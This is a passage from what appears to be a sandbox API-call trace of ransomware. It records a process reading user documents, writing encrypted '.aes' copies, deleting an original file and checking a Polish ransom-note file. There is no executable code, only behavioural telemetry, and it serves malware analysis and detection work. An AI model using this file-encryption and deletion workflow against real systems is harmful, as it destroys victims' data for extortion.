pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0074.327] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0074.327] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0074.344] LocalFree (hMem=0x1c8b20) returned 0x0 [0074.344] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0074.350] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0074.350] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0074.357] LocalFree (hMem=0x1c8b20) returned 0x0 [0074.357] LocalFree (hMem=0x7014730) returned 0x0 [0074.357] GetBestInterfaceEx (in: pDestAddr=0x277bd64*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0074.447] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.448] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.448] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.448] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.448] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.449] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.449] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.449] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.449] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.449] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.449] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.449] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.450] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.450] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.450] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.450] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.450] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.450] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.450] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.451] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.451] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.451] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.451] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.451] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.451] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.451] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x8c1, lpOverlapped=0x0) returned 1 [0074.451] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5828*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0074.452] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x9e1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce974*=0x9e1, lpOverlapped=0x0) returned 1 [0074.452] WriteFile (in: hFile=0x34c, lpBuffer=0x273cd30*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x273cd30*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0074.452] CloseHandle (hObject=0x34c) returned 1 [0074.453] CloseHandle (hObject=0x2a8) returned 1 [0074.453] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\URm66b8mfK_B.docx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\URm66b8mfK_B.docx", lpFilePart=0x0) returned 0x45 [0074.453] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\URm66b8mfK_B.docx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\urm66b8mfk_b.docx")) returned 1 [0074.454] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4e [0074.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0074.454] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe63422e0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe63422e0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe63422e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0074.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0074.454] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0074.484] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\vfwuhDCvzF0GRto.pptx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\vfwuhDCvzF0GRto.pptx", lpFilePart=0x0) returned 0x48 [0074.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0074.484] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\vfwuhDCvzF0GRto.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\vfwuhdcvzf0grto.pptx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb46e5e0, ftCreationTime.dwHighDateTime=0x1d2f5e1, ftLastAccessTime.dwLowDateTime=0xc89f8110, ftLastAccessTime.dwHighDateTime=0x1d301f8, ftLastWriteTime.dwLowDateTime=0xc89f8110, ftLastWriteTime.dwHighDateTime=0x1d301f8, nFileSizeHigh=0x0, nFileSizeLow=0x18e55)) returned 1 [0074.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0074.484] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\vfwuhDCvzF0GRto.pptx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\vfwuhDCvzF0GRto.pptx", lpFilePart=0x0) returned 0x48 [0074.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0074.485] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\vfwuhDCvzF0GRto.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\vfwuhdcvzf0grto.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0074.485] GetFileType (hFile=0x2a8) returned 0x1 [0074.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0074.485] GetFileType (hFile=0x2a8) returned 0x1 [0074.485] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\vfwuhDCvzF0GRto.pptx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\vfwuhDCvzF0GRto.pptx.aes", lpFilePart=0x0) returned 0x4c [0074.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0074.485] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\vfwuhDCvzF0GRto.pptx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\vfwuhdcvzf0grto.pptx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0074.485] GetFileType (hFile=0x34c) returned 0x1 [0074.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0074.485] GetFileType (hFile=0x34c) returned 0x1 [0074.485] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0074.497] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0074.497] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0074.504] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0074.504] GetAdaptersAddresses () returned 0x6f [0074.509] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0074.509] GetAdaptersAddresses () returned 0x0 [0074.517] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0074.524] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0074.524] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0074.531] LocalFree (hMem=0x1c8b20) returned 0x0 [0074.531] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0074.539] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0074.539] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0074.546] LocalFree (hMem=0x1c8b20) returned 0x0 [0074.547] LocalFree (hMem=0x7014730) returned 0x0 [0074.547] GetBestInterfaceEx (in: pDestAddr=0x2787a74*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0074.642] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.643] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.643] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.643] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.643] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.643] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.644] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.644] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.644] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.644] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.644] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.644] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.644] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.645] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.645] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.645] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.645] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.645] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.645] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.645] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.646] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.646] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.646] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.646] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.646] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.646] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.646] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.646] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.647] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.647] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.647] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.647] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.647] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.647] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.647] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.648] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.648] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.648] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.648] 